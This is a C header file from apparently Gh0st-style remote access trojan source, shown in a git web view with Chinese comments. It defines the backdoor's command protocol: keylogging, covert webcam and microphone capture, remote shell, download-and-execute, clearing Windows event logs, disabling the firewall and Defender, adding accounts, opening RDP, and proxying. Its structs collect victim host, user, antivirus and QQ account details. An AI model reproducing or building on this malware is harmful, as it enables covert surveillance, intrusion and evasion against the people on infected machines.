2024-06-23 17:36:53 +08:00

331 lines
11 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#pragma once
#if !defined(AFX_MACROS_H_INCLUDED)
#define AFX_MACROS_H_INCLUDED
enum
{
/// 文件传输方式
TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消
TRANSFER_MODE_ADDITION, // 追加
TRANSFER_MODE_ADDITION_ALL, // 全部追加
TRANSFER_MODE_OVERWRITE, // 覆盖
TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖
TRANSFER_MODE_JUMP, // 覆盖
TRANSFER_MODE_JUMP_ALL, // 全部覆盖
TRANSFER_MODE_CANCEL, // 取消传送
// 控制端发出的命令
COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作
COMMAND_LIST_DRIVE, // 列出磁盘目录
COMMAND_LIST_FILES, // 列出目录中的文件
COMMAND_DOWN_FILES, // 下载文件
COMMAND_FILE_SIZE, // 上传时的文件大小
COMMAND_FILE_DATA, // 上传时的文件数据
COMMAND_EXCEPTION, // 传输发生异常,需要重新传输
COMMAND_CONTINUE, // 传输正常,请求继续发送数据
COMMAND_STOP, // 传输中止
COMMAND_DELETE_FILE, // 删除文件
COMMAND_DELETE_DIRECTORY, // 删除目录
COMMAND_SET_TRANSFER_MODE, // 设置传输方式
COMMAND_CREATE_FOLDER, // 创建文件夹
COMMAND_RENAME_FILE, // 文件或文件改名
COMMAND_OPEN_FILE_SHOW, // 显示打开文件
COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件
COMMAND_SCREEN_SPY, // 屏幕查看
COMMAND_AERO_DISABLE, // 禁用桌面合成(Aero)
COMMAND_AERO_ENABLE, // 启用桌面合成(Aero)
COMMAND_SCREEN_RESET, // 改变屏幕深度
COMMAND_ALGORITHM_RESET, // 改变算法
COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // 屏幕控制
COMMAND_DESKTOP_EXPLORER, // 打开资源管理器
COMMAND_DESKTOP_RUN, // 打开运行
COMMAND_DESKTOP_POWERSHELL, // 打开powershell
COMMAND_DESKTOP_CMROME, // 打开谷歌
COMMAND_DESKTOP_EDGE, // 打开edge
COMMAND_DESKTOP_FIREFOX, // 打开火狐
COMMAND_DESKTOP_IE, // 打开IE
COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
COMMAND_SCREEN_BLANK, // 服务端黑屏
COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层
COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版
COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版
COMMAND_newSCREEN_SPY, // 新屏幕查看
COMMAND_newAERO_DISABLE, // 禁用桌面合成(Aero)
COMMAND_newAERO_ENABLE, // 启用桌面合成(Aero)
COMMAND_newSCREEN_RESET, // 改变屏幕深度
COMMAND_newALGORITHM_RESET, // 改变算法
COMMAND_newSCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
COMMAND_newSCREEN_CONTROL, // 屏幕控制
COMMAND_newSCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
COMMAND_newSCREEN_BLANK, // 服务端黑屏
COMMAND_newSCREEN_CAPTURE_LAYER, // 捕捉层
COMMAND_newSCREEN_GET_CLIPBOARD, // 获取远程剪贴版
COMMAND_newSCREEN_SET_CLIPBOARD, // 设置远程剪帖版
COMMAND_SSLIST, //获取服务列表
COMMAND_TASKLIST, //获取计划任务列表
COMMAND_TASKCREAT, //
COMMAND_TASKDEL,//
COMMAND_TASKSTOP,
COMMAND_TASKSTART,
COMMAND_WEBCAM, // 摄像头
COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩
COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式
COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率后面跟两个INT型的宽高
COMMAND_NEXT, // 下一步(控制端已经打开对话框)
COMMAND_UALITY30,
COMMAND_UALITY75,
COMMAND_UALITY100,
COMMAND_KEYBOARD, // 键盘记录
COMMAND_DESKTOP,
COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容
COMMAND_KEYBOARD_GET, // 获取记录
COMMAND_GN, //实用工具
COMMAND_AUDIO, // 语音监听
COMMAND_SPEAKER, // 扬声器监听
COMMAND_SYSTEM, // 系统管理(进程,窗口....
COMMAND_SYSTEMINFO, // 系统信息
COMMAND_PSLIST, // 进程列表
COMMAND_WSLIST, // 窗口列表
COMMAND_KILLPROCESSDEL, //关闭进程并删除文件
COMMAND_KILLPROCESS, // 关闭进程
COMMAND_WINDOW_CLOSE, // 关闭窗口
COMMAND_WINDOW_TEST, // 操作窗口
COMMAND_KILLPROCEDELE, // 关闭进程并删除文件
COMMAND_SOFTWARELIST, // 软件列表
COMMAND_IHLIST, // IE浏览记录
COMMAND_IHFILE, // 历史文件访问
COMMAND_NSLIST, // 网络连接列表
COMMAND_APPUNINSTALL, // 卸载软件
COMMAND_GETHOSTS, // 获取Host文件
COMMAND_SETHOSTS, // 修改Host文件
COMMAND_NETCONFIG, // 网络配置
COMMAND_REMOTE, // 硬件信息
COMMAND_STARTUP, // 启动项
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载)
COMMAND_REMOVE, // 卸载后门
COMMAND_DOWN_EXEC, // 其它功能 - 下载执行
COMMAND_UPDATE_SERVER, // 其它功能 - 下载更新
COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志
COMMAND_CLEAN_System, // 其它管理 - 清除系统日志
COMMAND_CLEAN_Security, // 其它管理 - 清除系统日志
COMMAND_CLEAN_Application, // 其它管理 - 清除系统日志
COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页
COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页
COMMAND_REPLAY_HEARTBEAT, // 回复心跳包
COMMAND_CHANGE_GROUP, // 更改分组
COMMAND_SYSINFO, //服务器信息
COMMAND_SEND_SYSINFO, //获取服务器信息
COMMAND_NET_USER, //无net添加用户
COMMAND_GUEST, //启用GUEST
COMMAND_STOPFIRE, //关闭防火墙
COMMAND_CHANGE_PORT, //更改终端端口
COMMAND_OPEN_PROXY, //代理
COMMAND_CLOSE_3389, //关闭3389
COMMAND_OPEN_3389, //开启3389
COMMAND_DLL_3389, //可以传输3389dll
COMMAND_START_MAP, //开启映射
COMMAND_CLOSE_PORT, //关闭映射
COMMAND_SLIST, //获取系统用户
COMMAND_DELUSER, //删除用户
COMMAND_NET_CHANGE_PASS, //更改用户密码
COMMAND_WTSLIST, //在线用户
COMMAND_WTS_Logoff, //注销用户
COMMAND_WTS_Disconnect, //断开用户
COMMAND_DISABLEEUSER,
COMMAND_ACITVEUSER,
COMMAND_REGEDIT, //注册表管理
COMMAND_REG_FIND, //查询该项
COMMAND_REG_DELPATH, //删除项
COMMAND_REG_CREATEPATH, //创建项
COMMAND_REG_DELKEY, //删除键
COMMAND_REG_CREATKEY, //创建键
COMMAND_SERMANAGER, // 服务管理
COMMAND_TASK, //计划任务
COMMAND_REMARK, //更改备注
COMMAND_HIDE_FILE,
// 服务端发出的标识
TOKEN_AUTH = 130, // 要求验证
TOKEN_HEARTBEAT, // 心跳包
TOKEN_LOGIN, // 上线包
TOKEN_DRIVE_LIST, // 驱动器列表
TOKEN_FILE_LIST, // 文件列表
TOKEN_FILE_SIZE, // 文件大小,传输文件时用
TOKEN_FILE_DATA, // 文件数据
TOKEN_TRANSFER_FINISH, // 传输完毕
TOKEN_DELETE_FINISH, // 删除完毕
TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式
TOKEN_GET_FILEDATA, // 远程得到本地文件数据
TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成
TOKEN_DATA_CONTINUE, // 继续传输数据
TOKEN_RENAME_FINISH, // 改名操作完成
TOKEN_EXCEPTION, // 操作发生异常
TOKEN_ACCESS_ERROR,
TOKEN_SSLIST, // 服务管理
TOKEN_CHAT_START, // 交谈开始
TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO
TOKEN_DESKTOP,
TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图
TOKEN_NEXTSCREEN, // 屏幕查看的下一张图
TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
TOKEN_newBITMAPINFO, // 屏幕查看的BITMAPINFO
TOKEN_newFIRSTSCREEN, // 屏幕查看的第一张图
TOKEN_newNEXTSCREEN, // 屏幕查看的下一张图
TOKEN_newCLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // 摄像头的图像数据
TOKEN_AUDIO_START, // 开始语音监听
TOKEN_AUDIO_DATA, // 语音监听数据
TOKEN_SPEAK_START, // 开始扬声器监听
TOKEN_SPEAK_STOP, // 关闭扬声器监听
TOKEN_SEND_SPEAK_START, //发送本地扬声器
TOKEN_SEND_SPEAK_STOP, //关闭发送本地扬声器
TOKEN_SPEAK_DATA, // 接收扬声器数据
TOKEN_KEYBOARD_START, // 键盘记录开始
TOKEN_KEYBOARD_DATA, // 键盘记录的数据
TOKEN_TASKLIST, //计划任务列表信息
TOKEN_SYSINFOLIST, // 信息列表
TOKEN_ADD_SUCCESS, // 添加成功
TOKEN_ADD_ERROR, // 添加失败
TOKEN_DEL_SUCCESS, // 删除用户成功
TOKEN_DEL_ERROR, // 删除用户失败
TOKEN_CHANGE_PSAA_SUCCESS, // 修改密码成功
TOKEN_CHANGE_PSAA_ERROR, // 修改密码失败
TOKEN_TOOLS,
TOKEN_OPEN_SUCCESS, // 开启3389成功
TOKEN_OPEN_ERROR, // 开启3389失败
TOKEN_CLOSE_SUCCESS, // 关闭3389成功
TOKEN_CLOSE_ERROR, // 关闭3389失败
TOKEN_SLIST, // 枚举系统用户
TOKEN_WTSLIST, // 枚举在线用户
TOKEN_STATE_SUCCESS, // 更改用户状态成功
TOKEN_STATE_ERROR, // 更改用户状态失败
TOKEN_USER_CLOSE_SUCCESS, // 用户关闭连接成功
TOKEN__USER_CLOSE_ERROR, // 用户关闭连接失败
TOKEN_OFF_SUCCESS, // 注销用户成功
TOKEN_OFF_ERROR, // 注销用户失败
TOKEN_CSystemManager,
TOKEN_SYSTEMINFO, // 系统信息
TOKEN_PSLIST, // 进程列表
TOKEN_ENVLIST, //环境变量
TOKEN_WSLIST, // 窗口列表
TOKEN_SHELL_START, // 远程终端开始
TOKEN_SOFTWARE, // 软件列表
TOKEN_IHLIST, // IE浏览记录
TOKEN_IHFILE, //文件历史
TOKEN_REMOTE, //远程
TOKEN_NSLIST, // 网络连接列表
TOKEN_HOSTSINFO, // Host文件
TOKEN_STARTUP, // 启动项
TOKEN_REGEDIT, // 打开注册表界面
TOKEN_REG_PATH, // 发送注册表项名
TOKEN_REG_KEY, // 发送键名
TOKEN_REG_OK, // 执行成功
TOKEN_REG_NO, // 执行失败
COMMAND_DLLVERSION, // DLL VERSION
COMMAND_DLLERROR, // DLL ERROR
COMMAND_DLLMAIN, // DLL MAIN
COMMAND_DLLOK, // 可以加载DLL
TOKEN_DLLVERSION, // 获取DLL的版本
TOKEN_DLLLOADERROR, // 服务加载失败
TOKEN_DLLMAIN, // DLLMAIN
TOKEN_DLLOK,
COMMAND_PROXY, // proxy
COMMAND_PROXY_CONNECT, //socket5代理
COMMAND_PROXY_CLOSE,
COMMAND_PROXY_DATA,
TOKEN_PROXY_START,//proxy start.
TOKEN_PROXY_CONNECT_RESULT,
TOKEN_PROXY_CLOSE,
TOKEN_PROXY_DATA,
TOKEN_PROXY_BIND_RESULT_RESULT,
TOKEN_HIDE_FINISH,
TOKEN_OLDBITMAPINFO,
TOKEN_FIRSTSCREEN1,
TOKEN_NEXTSCREEN1,
TOKEN_CLIPBOARD_TEXT1,
COMMAND_SCREEN_RESET1,
COMMAND_ALGORITHM_RESET1,
COMMAND_WIN7BASIC1,
COMMAND_SCREEN_CTRL_ALT_DEL1,
COMMAND_SCREEN_BLOCK_INPUT1,
COMMAND_SCREEN_BLANK1,
COMMAND_SCREEN_CAPTURE_LAYER1,
COMMAND_SCREEN_GET_CLIPBOARD1,
COMMAND_SCREEN_CONTROL1,
COMMAND_SCREEN_SET_CLIPBOARD1,
COMMAND_OLDPINGMU,
COMMAND_UPDATACLIENT
};
//enum 小功能
enum
{
DESK_TOP = 0x00, // 桌面预览
DISABLE_TASK, //禁用任务管理器
ENABLE_TASK, //启用任务管理器
OK,
DISABLE_DEF, //禁用windows def
ENABLE_DEF, //打开windos def
};
typedef struct
{
BYTE bToken; // = 1
IN_ADDR nIPAddress; //存储32位的IPv4的地址数据结构
char Os[0x20]; // 版本信息
char HostName[50]; // 主机名
char UserName[50]; // 用户名
int CPUClockMhz; // CPU主频
DWORD CPUNumber; // CPU个数
DWORD MemSize; // 内存大小
DWORD HD; // 硬盘
DWORD dwSpeed; // 网速
bool bIsWebCam; // 是否有摄像头
char Virus[40]; // 杀毒软件
char InstallTime[0x30]; //安装日期
char Remark[0x30]; //备注
}LOGININFO;
struct MYSYSINFO
{
char szCpuInfo[128]; //CPU信息
DWORD szMemoryFree; //可用内存
DWORD szDriveFreeSize; //可用硬盘大小
CHAR szScrSize[32]; //屏幕分辨率
char szActiveTime[128]; //活动时间
CHAR szQq[100]; //当前登录QQ号
CHAR szMac[100]; //当前MAC地址
char szGraphics[128]; //显卡
DWORD Memory7; //显存
CHAR Program[256]; //程序途径
CHAR environment[32]; //运行环境
WCHAR lpLCData[32]; //系统语言
char rport[10]; //是否开启远程服务
char qiang[10]; //防火墙状态
};
#define MAX_WRITE_RETRY 15 // 重试写入文件次数
#define MAX_SEND_BUFFER 1024 * 1024*3 // 最大发送数据长度
#define MAX_RECV_BUFFER 1024 * 1024*3// 最大接收数据长度
#endif // !defined(AFX_MACROS_H_INCLUDED)